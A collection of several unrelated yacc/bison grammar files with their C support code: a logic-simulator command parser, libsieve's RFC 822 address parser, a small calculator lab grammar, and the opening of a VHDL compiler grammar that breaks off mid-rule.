NODE_REF_LIST); $$ -> nx = -1; } } else { if (readp_begin == NULL) readp_begin = fullpath; else readp_end -> also = fullpath; readp_end = fullpath; } last_path = NULL; /* for the next call */ exclam_flag = FALSE; /* in case it has become TRUE */ } | COMMA { if (! read_res_refs) { if (nodes_in_res_path) { PALLOC ($$, 1, NODE_REF_LIST); $$ -> nx = -1; } else $$ = NULL; } } ; full_node_ref : member_ref | EXCLAM { exclam_flag = TRUE; } member_ref | full_node_ref DOT member_ref ; member_ref : member_name { if (last_path == NULL) { /* this is the leftmost (the first) member of a path */ if (nodes_in_res_path || read_res_refs) { PALLOC (last_path, 1, PATH_SPEC); } else { last_path = pathspace; } fullpath = last_path; } else { if (nodes_in_res_path || read_res_refs) { PALLOC (last_path -> next, 1, PATH_SPEC); } else { last_path -> next = last_path + 1; } last_path = last_path -> next; } last_path -> next = NULL; last_path -> also = NULL; strcpy (last_path -> name, $1); } ref_indices ; member_name : INT { strcpy (name_space, $1); /* copying is necessary */ $$ = name_space; } | IDENTIFIER { strcpy (name_space, $1); $$ = name_space; } | keyword { strcpy (name_space, yy0text); $$ = name_space; } ; keyword : SET | LEVEL { vardummy = $1; } | LOGIC_LEVEL { vardummy = $1; } | FROM | FILL | WITH | PRINT | PLOT_TOKEN | OPTION | SIMPERIOD | DISPERIOD | DISSIPATION | DUMP | AT | INITIALIZE | SIGOFFSET | RACES | DEVICES | STATISTICS | ONLY | CHANGES | SLS_PROCESS | SIGUNIT | OUTUNIT | OUTACC | MAXPAGEWIDTH | MAXNVICIN | MAXTVICIN | MAXLDEPTH | VH | VMAXL | VMINH | TDEVMIN | TDEVMAX | TOGGLE { vardummy = $1; } | STEP | RANDOM | FULL | DEFINE_TOKEN | STA_FILE | TST_FILE ; ref_indices : /* empty */ { last_path -> xarray[0][0] = 0; } | LSB { last_path -> xarray[0][0] = 0; } index_list RSB ; index_list : index | index_list COMMA index ; index : integer { last_path -> xarray[0][0]++; last_path -> xarray[last_path -> xarray[0][0]][0] = $1; last_path -> xarray[last_path -> xarray[0][0]][1] = $1; } | integer DOTDOT integer { last_path -> xarray[0][0]++; last_path -> xarray[last_path -> xarray[0][0]][0] = $1; last_path -> xarray[last_path -> xarray[0][0]][1] = $3; } ; option_cmd : OPTION option | option_cmd option ; option : toggle_option EQL TOGGLE { *$1 = $3; } | int_option EQL integer { if ( $1 != NULL ) *$1 = $3; else { switch ( $3 ) { case 1 : proclogic = FALSE; delaysim = FALSE; break; case 2 : proclogic = TRUE; delaysim = FALSE; break; case 3 : proclogic = TRUE; delaysim = TRUE; break; default: cslserror (ERROR2, "illegal simulation level", NULL); break; } } } | SIMPERIOD EQL INT { simperiod = atoll ($3); } | DISPERIOD EQL INT { disperiod = atoll ($3); } | SIGOFFSET EQL INT { sig_toffset = atoll ($3); } | pow_ten_option EQL pow_ten { *$1 = $3; } | f_float_option EQL f_float { *$1 = $3; } | SLS_PROCESS EQL STRING { PALLOC (fn_proc, strlen ($3) + 1, char); strcpy (fn_proc, $3); } ; toggle_option : STEP { $$ = &outonchange; } | PRINT RACES { $$ = &printraces; } | ONLY CHANGES { $$ = &printremain; } | PRINT DEVICES { $$ = &printdevices; } | PRINT STATISTICS { $$ = &printstatis; } | INITIALIZE RANDOM { $$ = &random_initialization; } | INITIALIZE FULL RANDOM { $$ = &random_td_initialization; } | STA_FILE { $$ = &try_sta_file; } | TST_FILE { $$ = &tester_output; } ; int_option : MAXNVICIN { cslserror (WARNING, "maxnvicin specification ignored", NULL); $$ = &vardummy; } | MAXTVICIN { cslserror (WARNING, "maxtvicin specification ignored", NULL); $$ = &vardummy; } | MAXLDEPTH { $$ = &logic_depth; } | MAXPAGEWIDTH { $$ = &maxpagewidth; } | LEVEL { $$ = NULL; } ; pow_ten_option : OUTUNIT { $$ = &outtimeunit; } | OUTACC { $$ = &outtimeaccur; } ; pow_ten : INT { $$ = atof ($1); } | POWER_TEN { $$ = $1; } ; f_float_option : SIGUNIT { $$ = &sigtimeunit; } | VH { $$ = &vHtmp; } | VMAXL { $$ = &vmaxL; } | VMINH { $$ = &vminH; } | TDEVMIN { $$ = &mindevtime; } | TDEVMAX { $$ = &maxdevtime; } ; f_float : INT { $$ = atof ($1); } | POWER_TEN { $$ = $1; } | F_FLO { $$ = $1; } ; dump_cmd : DUMP AT INT { int i = arr_new ((char **)(void *)&tdumps); tdumps[i] = atoll ($3); } ; init_cmd : INITIALIZE FROM STRING { PALLOC (fn_init, strlen ($3) + 1, char); strcpy (fn_init, $3); } ; fill_cmd : FILL full_node_ref WITH { char varname[DM_MAXNAME + 5]; PATH_SPEC * varpath; varpath = fullpath; while (varpath -> next != NULL) varpath = varpath -> next; /* to find the var name */ if (varpath == fullpath) sprintf (varname, "%s", varpath -> name); else sprintf (varname, "-.%s", varpath -> name); switch ((filltype = findnodes (fullpath, NULL, FALSE, &freadnref, TRUE))) { case NAMENEG : cslserror (ERROR2, "undefined variable", varname); break; case NOPATH : case EMPTYTYPE : cslserror (ERROR2, "internal error", NULL); break; case NONODE : cslserror (ERROR2, "not a variable is name", varname); break; case REFIERR : cslserror (ERROR2, "incorrect indices for variable", varname); break; case REFINEG : cslserror (ERROR2, "not defined as array is variable", varname); break; case REFIMIS : cslserror (ERROR2, "indices missing for variable", varname); break; default : break; } last_path = NULL; /* for the next call */ exclam_flag = FALSE; /* in case it has become TRUE */ } fillvals { if (freadnref != NULL) cslserror (ERROR2, "number of values less than number of variables", NULL); } ; fillvals : fillchars | fillvals fillchars | fillint | fillvals fillint | fillfloat | fillvals fillfloat ; fillchars : STRING { char * p; if (filltype != CHARTYPE) cslserror (ERROR2, "variable is not of type char", NULL); else { for (p = $1; *p != '\0'; p++) { if (freadnref != NULL) { *(char *)(freadnref -> xptr) = *p; freadnref = freadnref -> next; } else { cslserror (ERROR2, "number of values larger than number of variables", NULL); break; } } } } ; fillint : integer { if (filltype != INTEGERTYPE && filltype != FLOATTYPE && filltype != DOUBLETYPE) cslserror (ERROR2, "variable is not of type float, double or integer", NULL); else { if (freadnref != NULL) { if (filltype == INTEGERTYPE) *(int *)(freadnref -> xptr) = $1; else if (filltype == FLOATTYPE) *(float *)(freadnref -> xptr) = $1; else *(double *)(freadnref -> xptr) = $1; freadnref = freadnref -> next; } else { cslserror (ERROR2, "number of values larger than number of variables", NULL); break; } } } ; fillfloat : F_FLO { if (filltype != FLOATTYPE && filltype != DOUBLETYPE) cslserror (ERROR2, "variable is not of type float or double", NULL); else { if (freadnref != NULL) { if (filltype == FLOATTYPE) *(float *)(freadnref -> xptr) = $1; else *(double *)(freadnref -> xptr) = $1; freadnref = freadnref -> next; } else { cslserror (ERROR2, "number of values larger than number of variables", NULL); break; } } } ; define_cmd : DEFINE_TOKEN node_refs COLON member_name { ABSTRACT_OUTPUT *new_ao_el; ABSTRACT_OUTPUT *ab_el; NODE_REF_LIST *nrl; int err = 0; ab_el = abstractl_begin; while (ab_el) { if (strcmp (ab_el -> name, $4) == 0) { cslserror (ERROR2, "re-definition of name", $4); err = 1; break; } ab_el = ab_el -> next; } if (!err) { strcpy (pathspace -> name, $4); pathspace -> next = NULL; pathspace -> also = NULL; pathspace -> xarray[0][0] = 0; if (findnodes (pathspace, NULL, FALSE, &nrl, FALSE) != NAMENEG) { cslserror (ERROR2, "defined name already in use:", $4); } } if (!err) { PALLOC (new_ao_el, 1, struct abstract_output); PALLOC (new_ao_el -> name, strlen ($4) + 1, char); strcpy (new_ao_el -> name, $4); new_ao_el -> inputs = $2; new_ao_el -> nr_inputs = 0; nrl = new_ao_el -> inputs; while (nrl) { if (nrl -> nx >= 0) (new_ao_el -> nr_inputs)++; nrl = nrl -> next; } new_ao_el -> vals = NULL; new_ao_el -> next = NULL; if (abstractl_begin == NULL) abstractl_begin = abstractl_end = new_ao_el; else abstractl_end -> next = new_ao_el; abstractl_end = new_ao_el; } } define_entries ; define_entries : define_entry | define_entries define_entry ; define_entry : def_sig_vals COLON escape_char member_name { if ($3) { PALLOC (curr_av_el -> out_value, strlen ($4) + 2, char); sprintf (curr_av_el -> out_value, "$%s", $4); } else { PALLOC (curr_av_el -> out_value, strlen ($4) + 1, char); strcpy (curr_av_el -> out_value, $4); } if (av_cnt != abstractl_end -> nr_inputs) { cslserror (ERROR2, "incorrect number of input values for output value", curr_av_el -> out_value); } } ; escape_char : DOLLAR { $$ = 1; } | /* empty */ { $$ = 0; } ; def_sig_vals : def_sig_val { ABSTRACT_VALUE *new_av_el; PALLOC (new_av_el, 1, struct abstract_value); PALLOC (new_av_el -> in_values, abstractl_end -> nr_inputs, int); new_av_el -> next = NULL; if (abstractl_end -> vals == NULL) abstractl_end -> vals = new_av_el; else curr_av_el -> next = new_av_el; curr_av_el = new_av_el; av_cnt = 0; if (av_cnt < abstractl_end -> nr_inputs) curr_av_el -> in_values[av_cnt] = $1; av_cnt++; } | def_sig_vals def_sig_val { if (av_cnt < abstractl_end -> nr_inputs) curr_av_el -> in_values[av_cnt] = $2; av_cnt++; } ; def_sig_val : LOGIC_LEVEL { $$ = $1; } | MINUS { $$ = Dontcare; } ; integer : INT { $$ = atoi ($1); } ; eoc : SEMICOLON | NEWLINE ; %% #include "cmd_l.h" void cmdinits () { len_sp = len_stack; sgn_sp = sgn_stack; arr_init ((char **)(void *)&tdumps, sizeof (simtime_t), 6, 2.0); arr_init ((char **)(void *)&prinvert, sizeof (NODE_REF_LIST *), 10, 2.0); } void yy0error (char *s) { cslserror (ERROR2, s, NULL); } static void cslserror (int errtype, char *s1, char *s2) { int lineno = yy0lineno; if (yychar == NEWLINE) lineno--; slserror (fn_cmd, lineno, errtype, s1, s2); } static SIGNALELEMENT *read_signal (FILE *fp, char *fn, long offset, int sig_cnt, int pos) /* reads the signal description from file 'fp' and returns it */ /* as a list of signalelements */ { SIGNALELEMENT *father, *sgnel; char val, valprev; simtime_t t, tprev; PALLOC (father, 1, SIGNALELEMENT); fseek (fp, offset, 0); valprev = '#'; val = '#'; tprev = -1; t = -1; sgnel = 0; while (fscanf (fp, "%lld", &t) > 0) { if (t == tprev) { fseek (fp, (long)(sig_cnt * sizeof (char)), 1); continue; } fseek (fp, (long)((pos - 1) * sizeof (char)), 1); val = fgetc (fp); if (val == valprev || val == '.') { fseek (fp, (long)((sig_cnt - pos) * sizeof (char)), 1); continue; } if (father -> sibling == NULL) { PALLOC (father -> sibling, 1, SIGNALELEMENT); sgnel = father -> sibling; } else { sgnel -> len = t - tprev; PALLOC (sgnel -> sibling, 1, SIGNALELEMENT); sgnel = sgnel -> sibling; } switch (val) { case 'h' : sgnel -> val = H_state; break; case 'l' : sgnel -> val = L_state; break; case 'x' : sgnel -> val = X_state; break; case 'f' : sgnel -> val = F_state; break; default : slserror (NULL, 0, ERROR1, "illegal character in", fn); break; } fseek (fp, (long)((sig_cnt - pos) * sizeof (char)), 1); tprev = t; valprev = val; } if (sgnel) { sgnel -> len = -1; father -> val = sgnel -> val; father -> len = -1; } else { father -> val = '?'; father -> len = 0; } return (father); } static SIGNALELEMENT *copysgn (SIGNALELEMENT *sgn) { SIGNALELEMENT *newsgn; PALLOC (newsgn, 1, SIGNALELEMENT); newsgn -> val = sgn -> val; newsgn -> len = sgn -> len; if (sgn -> sibling) newsgn -> sibling = copysgn (sgn -> sibling); if (sgn -> child) newsgn -> child = copysgn (sgn -> child); return (newsgn); } #ifndef YY_CURRENT_BUFFER #define YY_CURRENT_BUFFER yy_current_buffer #endif /* next function resets the state of yylex() */ void restart_scanner (FILE *inputfile) { #ifdef FLEX_SCANNER if (YY_CURRENT_BUFFER) yyrestart (inputfile); #else /* some versions of lex may require "yysptr = yysbuf" */ #endif } int yy0wrap () { return (1); }
<filename>src/sv_parser/addr.y %{ /* * addr.y -- RFC 822 address parser * <NAME> * $Id$ */ /*********************************************************** Copyright 1999 by Carnegie Mellon University All Rights Reserved Permission to use, copy, modify, and distribute this software and its documentation for any purpose and without fee is hereby granted, provided that the above copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation, and that the name of Carnegie Mellon University not be used in advertising or publicity pertaining to distribution of the software without specific, written prior permission. CARNEGIE MELLON UNIVERSITY DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE, INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS, IN NO EVENT SHALL CARNEGIE MELLON UNIVERSITY BE LIABLE FOR ANY SPECIAL, INDIRECT OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ******************************************************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> /* Better yacc error messages make me happy */ #define YYERROR_VERBOSE /* Must be defined before addr.h */ #define YYSTYPE char * /* sv_util */ #include "src/sv_util/util.h" /* sv_parser */ #include "addr.h" #include "addrinc.h" #include "addr-lex.h" extern YY_DECL; static void libsieve_addrappend(struct sieve2_context *context); static struct address *libsieve_addrstructcopy(struct sieve2_context *context); /* sv_interface */ #include "src/sv_interface/callbacks2.h" #define THIS_MODULE "sv_parser" %} %defines %name-prefix="libsieve_addr" %define api.pure %lex-param {struct sieve2_context *context} %lex-param {void *addr_scan} %parse-param {struct sieve2_context *context} %parse-param {void *addr_scan} %token DOTATOM ATOM QTEXT DTEXT QUOTE %% start: /* Empty */ { libsieve_addrappend(context); } | address { $$ = $1; } | word { /* Lousy case to catch malformed addresses. */ libsieve_addrappend(context); context->addr_addr->name = $1; }; address: mailbox_list { TRACE_DEBUG( "address: mailbox: %s", $1 ); } | group { TRACE_DEBUG( "address: group: %s", $1 ); }; group: phrase ':' ';' { TRACE_DEBUG( "group: phrase: %s", $1 ); } | phrase ':' mailbox_list ';' { TRACE_DEBUG( "group: phrase mailbox_list: %s %s", $1, $3 ); }; mailbox_list: mailbox { /* Each new address is allocated here and back-linked */ TRACE_DEBUG( "mailbox_list: mailbox: %s", $1 ); TRACE_DEBUG( "allocating newaddr" ); libsieve_addrappend(context); } | mailbox_list ',' mailbox { /* Each new address is allocated here and back-linked */ TRACE_DEBUG( "mailbox_list: mailbox_list mailbox: %s %s", $1, $3 ); TRACE_DEBUG( "allocating newaddr" ); libsieve_addrappend(context); }; mailbox: angle_addr { TRACE_DEBUG( "mailbox: angle_addr: %s", $1 ); } | addr_spec { TRACE_DEBUG( "mailbox: addr_spec: %s", $1 ); } | phrase angle_addr { TRACE_DEBUG( "mailbox: phrase angle_addr: %s %s", $1, $2 ); // This is a "top terminal" state... TRACE_DEBUG( "context->addr_addr->name: %s", $1 ); context->addr_addr->name = libsieve_strdup( $1 ); }; angle_addr: '<' addr_spec '>' { TRACE_DEBUG( "angle_addr: addr_spec: %s", $2 ); } | '<' route ':' addr_spec '>' { TRACE_DEBUG( "angle_addr: route addr_spec: %s:%s", $2, $4 ); // This is a "top terminal" state... TRACE_DEBUG( "context->addr_addr->route: %s", $2 ); context->addr_addr->route = libsieve_strdup( $2 ); } | '<' '>' { TRACE_DEBUG("angle_addr: <>"); context->addr_addr->mailbox = libsieve_strdup( "" ); }; addr_spec: local_part '@' domain { TRACE_DEBUG( "addr_spec: local_part domain: %s %s", $1, $3 ); // This is a "top terminal" state... TRACE_DEBUG( "context->addr_addr->mailbox: %s", $1 ); context->addr_addr->mailbox = libsieve_strdup( $1 ); TRACE_DEBUG( "context->addr_addr->domain: %s", $3 ); context->addr_addr->domain = libsieve_strdup( $3 ); }; route: '@' domain { TRACE_DEBUG( "route: domain: %s", $2 ); $$ = libsieve_strbuf(context->strbuf, libsieve_strconcat( "@", $2, NULL ), strlen($2)+1, FREEME); } | '@' domain ',' route { TRACE_DEBUG( "route: domain route: %s %s", $2, $4 ); $$ = libsieve_strbuf(context->strbuf, libsieve_strconcat( "@", $2, ",", $4, NULL ), strlen($2)+strlen($4)+2, FREEME); }; local_part: DOTATOM { TRACE_DEBUG( "local_part: DOTATOM: %s", $1 ); } | ATOM { TRACE_DEBUG( "local_part: ATOM : %s", $1); } | qstring { TRACE_DEBUG( "local_part: qstring: %s", $1); } domain: DOTATOM { TRACE_DEBUG( "domain: DOTATOM: %s", $1 ); } | ATOM { TRACE_DEBUG("domain: ATOM: %s", $1); } | domainlit { TRACE_DEBUG( "domain: domainlit: %s", $1); }; domainlit: '[' DTEXT ']' { TRACE_DEBUG( "domainlit: DTEXT: %s", $2 ); $$ = $2; }; phrase: word { TRACE_DEBUG( "phrase: word: %s", $1 ); } | phrase word { TRACE_DEBUG( "phrase: phrase word: %s %s", $1, $2 ); $$ = libsieve_strbuf(context->strbuf, libsieve_strconcat( $1, " ", $2, NULL ), strlen($1)+strlen($2)+1, FREEME); } | phrase DOTATOM { TRACE_DEBUG( "phrase: phrase DOTATOM: %s %s", $1, $2 ); $$ = libsieve_strbuf(context->strbuf, libsieve_strconcat( $1, " ", $2, NULL ), strlen($1)+strlen($2)+1, FREEME); } word: ATOM { TRACE_DEBUG( "word: ATOM: %s", $1 ); } | qstring { TRACE_DEBUG( "word: qstring: %s", $1 ); }; qstring: QUOTE QTEXT QUOTE { TRACE_DEBUG( "qstring: QTEXT: %s", $2 ); $$ = $2; }; %% /* Run an execution error callback. */ void libsieve_addrerror(struct sieve2_context *context, void *yyscanner, const char *msg) { context->exec_errors++; libsieve_do_error_address(context, msg); } /* Wrapper for addrparse() which sets up the * required environment and allocates variables */ struct address *libsieve_addr_parse_buffer(struct sieve2_context *context, struct address **data, const char **ptr) { struct address *newdata = NULL; void *addr_scan = context->addr_scan; context->addr_addr = NULL; libsieve_addrappend(context); YY_BUFFER_STATE buf = libsieve_addr_scan_string((char*)*ptr, addr_scan); /* serr = libsieve_strconcat("address '", s, "': ", aerr, NULL); libsieve_sieveerror(serr); libsieve_free(serr); libsieve_free(aerr); */ if(libsieve_addrparse(context, addr_scan)) { // FIXME: Make sure that this is sufficient cleanup libsieve_addrstructfree(context, context->addr_addr, CHARSALSO); libsieve_addr_delete_buffer(buf, addr_scan); return NULL; } /* Get to the tail end... */ newdata = *data; while (newdata != NULL) { newdata = newdata->next; } /* While adding the new results onto the current set, * we notice that addrparse() leaves an extra struct * at the top, but at least we can hide that here! */ newdata = libsieve_addrstructcopy(context); libsieve_addr_delete_buffer(buf, addr_scan); libsieve_addrstructfree(context, context->addr_addr, STRUCTONLY); if (*data == NULL) *data = newdata; return *data; } void libsieve_addrstructfree(struct sieve2_context *context, struct address *addr, int freeall) { struct address *bddr; while (addr != NULL) { bddr = addr; if(freeall) { TRACE_DEBUG("I'd like to free this: %s", bddr->mailbox); libsieve_free(bddr->mailbox); TRACE_DEBUG("I'd like to free this: %s", bddr->domain); libsieve_free(bddr->domain); TRACE_DEBUG("I'd like to free this: %s", bddr->route); libsieve_free(bddr->route); TRACE_DEBUG("I'd like to free this: %s", bddr->name); libsieve_free(bddr->name); } addr = bddr->next; libsieve_free(bddr); } } struct address *libsieve_addrstructcopy(struct sieve2_context *context) { struct address *new; struct address *tmp = context->addr_addr->next; struct address *top; if (!tmp) { TRACE_DEBUG("No addresses found at all, returning NULL."); return NULL; } top = libsieve_malloc(sizeof(struct address)); TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->mailbox, tmp->mailbox); top->mailbox = tmp->mailbox; TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->domain, tmp->domain); top->domain = tmp->domain; TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->route, tmp->route); top->route = tmp->route; TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->name, tmp->name); top->name = tmp->name; tmp = tmp->next; new = top; while (tmp != NULL) { new->next = (struct address *)libsieve_malloc(sizeof(struct address)); if (new->next == NULL) { TRACE_DEBUG("malloc failed, returning what we have so far."); return top; } else { new = new->next; } TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->mailbox, tmp->mailbox); new->mailbox = tmp->mailbox; TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->domain, tmp->domain); new->domain = tmp->domain; TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->route, tmp->route); new->route = tmp->route; TRACE_DEBUG("I'd like to copy this pointer: %p: %s", tmp->name, tmp->name); new->name = tmp->name; tmp = tmp->next; } new->next = NULL; /* Clear the last entry */ return top; } void libsieve_addrappend(struct sieve2_context *context) { struct address *new = (struct address *)libsieve_malloc(sizeof(struct address)); TRACE_DEBUG( "Prepending a new addr struct" ); new->mailbox = NULL; new->domain = NULL; new->route = NULL; new->name = NULL; new->next = context->addr_addr; context->addr_addr = new; }
<reponame>sabertazimi/hust-lab<filename>compilers/bison/calculate.y %{ #include <stdio.h> #include <stdlib.h> #include <string.h> #define YYDEBUG 1 int yylex(void); int yyerror(char const *str); %} %union { int int_value; double double_value; } %token <double_value> DOUBLE_LITERAL; %token ADD SUB MUL DIV CR %type <double_value> exp %left ADD SUB %left MUL DIV %% lines: line | line lines ; line: exp CR { printf(">> value=%.10g\n",$1); } | exit CR | error CR { yyclearin; yyerrok; } | CR ; exp: DOUBLE_LITERAL { $$ = $1; } | exp ADD exp { $$ = $1 + $3;} | exp SUB exp { $$ = $1 - $3;} | exp DIV exp { $$ = $1 / $3;} | exp MUL exp { $$ = $1 * $3;} | '(' exp ')' { $$ = $2;} ; exit: 'e' { exit(0); } | 'q' { exit(0); } | 'e' xit { exit(0); } | 'q' uit { exit(0); } ; xit: 'x' it; uit: 'u' it; it: 'i' t; t: 't'; %% int yyerror(char const *str) { extern char *yytext; fprintf(stderr, "Parser error near.\n"); memset(yytext, '\0', strlen(yytext)); return 0; } int main(int argc, char **argv) { extern int yyparse(void); extern FILE *yyin; FILE *fp; if (argc > 1 && (fp = fopen(argv[1], "r")) != NULL) { yyin = fp; } if (yyparse()) { fprintf(stderr, "Bison panic.\n"); exit(1); } fclose(fp); return 0; }
/************************************************************************ * COMPILER--VHDL * * ---PARSER--- * ************************************************************************/ %{ #include<stdio.h> #include<string.h> #include<iostream.h> #include "symtab.h" #include "types.h" #include "aux.h" SymTab *new_table(SymTab *Table); int yylex (void*); int yyerror(char *s); #define YYDEBUG 1 extern FILE *lg; extern SymTab *table; extern FILE *yyin; extern char *file_scope1; FILE *oldfile; SymTab *trans1, *trans2; cell *l; cell *h=l= new cell; char *pathname, *fileattr; /*************************************************************************/ //extern char g_lline[]; /* from lexer */ extern char yytext[]; //extern int column; extern int linenumber; /*************************************************************************/ %} %pure_parser %union{ int intval; double floatval; char *id; char *decimalit; char *basedlit; char *charlit; char *strlit; char *bitlit; class Type *types; }; %token ABS ACCESS AFTER ALIAS ALL AND ARCHITECTURE ARRAY ASSERT ATTRIBUTE %token VBEGIN BLOCK BODY BUFFER BUS CASE COMPONENT CONFIGURATION CONSTANT %token DISCONNECT DOWNTO ELSE ELSIF END ENTITY EXIT VFILE FOR %token FUNCTION PROCEDURE NATURAL %token GENERATE GENERIC GUARDED IF IMPURE IN INITIALIZE INOUT IS LABEL LIBRARY %token LINKAGE LITERAL LOOP MAP MOD NAND NEW NEXT NOR NOT UNAFFECTED %token UNITS GROUP OF ON OPEN OR OTHERS OUT VREJECT INERTIAL XNOR %token PACKAGE PORT POSTPONED PROCESS PURE RANGE RECORD REGISTER REM %token REPORT RETURN SELECT SEVERITY SHARED SIGNAL SUBTYPE THEN TO TRANSPORT %token TYPE UNITS UNTIL USE VARIABLE VNULL WAIT WHEN WHILE WITH XOR %token INT REAL BASEDLIT CHARLIT STRLIT BITLIT ARROW EXPON ASSIGN BOX %token SLL SRL SLA SRA ROL ROR USE_CLAUSE AT INF INPUT OUTPUT EOC %token <id>ID <strlit>STRLIT %type <id>designator CHARLIT %type <id> name mark selected_name name2 name3 insl_name alias_name %type <id> idparan suffix %type <id> enumeration_literal %type <types> type_definition scalar_type_definition composite_type_definition %type <types> access_type_definition file_type_definition enumeration_type_definition %type <types> integer_floating_type_definition physical_type_definition %type <types> array_type_definition record_type_definition range_constraint range %type <types> unconstrainted_array_definition constrained_array_definition subtype_indication %type <types> subtype_indication1 subtype_indication_list formal_part target conditional_waveforms %type <types> expression relation simple_expression terms term factor primary discrete_range1 %type <types> shift_expression condition waveform_element waveform allocator waveform_head %type <types> selected_waveforms actual_part association_element element_association %type <types> association_list choices choice qualified_expression elarep aggregate %type <types> physical_literal andexpr orexpr xorexpr literal physical_literal_no_default %type <types> gen_association_list_1 gen_association_element assign_exp attribute_name al_decl_head %nonassoc '>' '<' '=' GE LE NEQ %left '+' '-' '&' %left MED_PRECEDENCE %left '*' '/' MOD REM %nonassoc EXPON ABS NOT MAX_PRECEDENCE %start start_point %% /* Design File */ start_point : design_file { } ; design_file : design_file design_unit | design_unit ; design_unit : context_clause library_unit // | context_clause library_unit ; context_clause : | context_clause context_item ; context_item : library_clause | use_clause ; library_unit : primary_unit | secondary_unit ; primary_unit : entity_declaration | configuration_declaration | package_declaration ; secondary_unit : architecture_body | package_body ; library_clause : library_list ';' ; library_list : LIBRARY ID { table->add_symbol($2,Library,UnknownD); } | library_list ',' ID { table->add_symbol($3,Library,UnknownD); } ; /* Library Unit Declarations */ entity_declaration : ENTITY ID { table->add_symbol($2,Entity,table->other_tab); table= new_table(table); } entity_descr ; entity_descr :IS entity_header entity_declarative_part END endofentity ';' |IS entity_header entity_declarative_part VBEGIN entity_statement_part END endofentity ';' ; endofentity : | ENTITY { } | ID { Type *t= search(table,$1); t->checktype(Entity,UnknownD); delete t; } | ENTITY ID { Type *t= search(table,$2); t->checktype(Entity,UnknownD); delete t; } ; entity_header : | generic_clause | port_clause | generic_clause port_clause ; generic_clause : GENERIC '(' interface_list ')' ';' ; port_clause : PORT '(' interface_list ')' ';' ; entity_declarative_part : | entity_declarative_part entity_declarative_item ; entity_declarative_item : subprogram_declaration | subprogram_body | type_declaration | subtype_declaration | constant_declaration | signal_declaration | file_declaration | alias_declaration | attribute_declaration | label_declaration | attribute_specification | initialization_specification | disconnection_specification | use_clause | variable_declaration | group_template_declaration | group_declaration ; group_template_declaration : GROUP ID { table->add_symbol($2,Group,UnknownD); } IS '(' gtp_body ')' ';' ; gtp_body : gtp_body ',' entity_class box_symbol | entity_class box_symbol ; box_symbol : | BOX ; group_declaration : GROUP ID { table->add_symbol($2,Group,UnknownD); } ':' ID { Type *t= search(table,$5);//table->lookup($5); delete t; } '(' gd_body ')' ';' ; gd_body : gd_body ',' ID { Type *t= search(table,$3); /*table->lookup($3);*/ delete t; } | gd_body ',' CHARLIT | ID { Type *t= search(table,$1); /*table->lookup($1);*/ delete t; } | CHARLIT {} ; entity_statement_part : | entity_statement_part entity_statement ; entity_statement : concurrent_assertion_statement | concurrent_procedure_call | process_statement /* { SymTab *temp= table->header; delete table; table= temp; }*/ ; architecture_body : ARCHITECTURE ID { table->add_symbol($2,Architect,UnknownD); } OF ID { Type *t= search(table,$5); if( (t->nametype()!=Entity) && (t->nametype()!=ErrorN) ) errmsg(" the id is not declared as entity"); table= new_table(table); } IS architecture_declarative_part VBEGIN architecture_statement_part END architail ';' ; architail : | ARCHITECTURE ID { Type *t= search(table,$2); t->checktype(Architect,UnknownD); delete t; } | ARCHITECTURE | ID { Type *t= search(table,$1); t->checktype(Architect,UnknownD); delete t; } ; architecture_declarative_part : | architecture_declarative_part block_declarative_item ; architecture_statement_part : | architecture_statement_part concurrent_statement ; configuration_declaration : CONFIGURATION ID { table->add_symbol($2,Architect,UnknownD); } OF ID { Type *t= search(table,$5);//table->lookup($5); t->checktype(Entity,UnknownD); delete t; } config_tail ; config_tail : IS configuration_declarative_part block_configuration END configtail ID ';' { Type *t= search(table,$6); //table->lookup($6); t->checktype(Entity,UnknownD); delete t; } | IS configuration_declarative_part block_configuration END configtail ';' ; configtail : | CONFIGURATION ; configuration_declarative_item : use_clause | attribute_specification | group_declaration ; configuration_declarative_part : | configuration_declarative_part configuration_declarative_item ; block_configuration : FOR block_specification us ci END FOR ';' ; block_specification : ID { Type *t= search(table,$1);//table->lookup($1); t->checktype(Architect,UnknownD); delete t; } | ID { Type *t= search(table,$1);//table->lookup($1); delete t; } '(' www ')' ; www : discrete_range | INT | REAL ; us : | us use_clause ; ci : | ci configuration_item ; configuration_item : block_configuration | component_configuration ; component_configuration : FOR component_specification END FOR ';' | FOR component_specification binding_indication ';' END FOR ';' | FOR component_specification block_configuration END FOR ';' | FOR component_specification binding_indication ';' block_configuration END FOR ';' ; package_declaration : PACKAGE ID { table->add_symbol($2,Package,UnknownD); table= new_table(table); } package_tail ; package_tail : IS package_declarative_part END packagetail ';' | IS package_declarative_part END packagetail ID ';' { Type *t= search(table,$5); t->checktype(Package,UnknownD); delete t; } ; packagetail : | PACKAGE ; package_declarative_part : | package_declarative_part package_declarative_item ; package_declarative_item : subprogram_declaration | type_declaration | subtype_declaration | constant_declaration | signal_declaration | file_declaration | alias_declaration | component_declaration | attribute_declaration | attribute_specification | initialization_specification | disconnection_specification | use_clause | variable_declaration | group_template_declaration | group_declaration ; package_body : PACKAGE BODY ID { table->add_symbol($3,UnknownN,UnknownD); table= new_table(table); } package_body_tail { } ; package_body_tail : IS package_body_declarative_part END pac_body_tail ';' | IS package_body_declarative_part END pac_body_tail ID ';' { Type *t= search(table,$5); delete t; } ; pac_body_tail : | PACKAGE BODY ; package_body_declarative_part : | package_body_declarative_part package_body_declarative_item ; package_body_declarative_item : subprogram_declaration | subprogram_body | type_declaration | subtype_declaration | constant_declaration | file_declaration | alias_declaration | use_clause | variable_declaration | group_template_declaration | group_declaration ; /* Declarations and Specifications */ subprogram_declaration : subprogram_specification ';' { SymTab *temp= table->header; delete table; table= temp; } ; subprogram_specification : PROCEDURE designator { 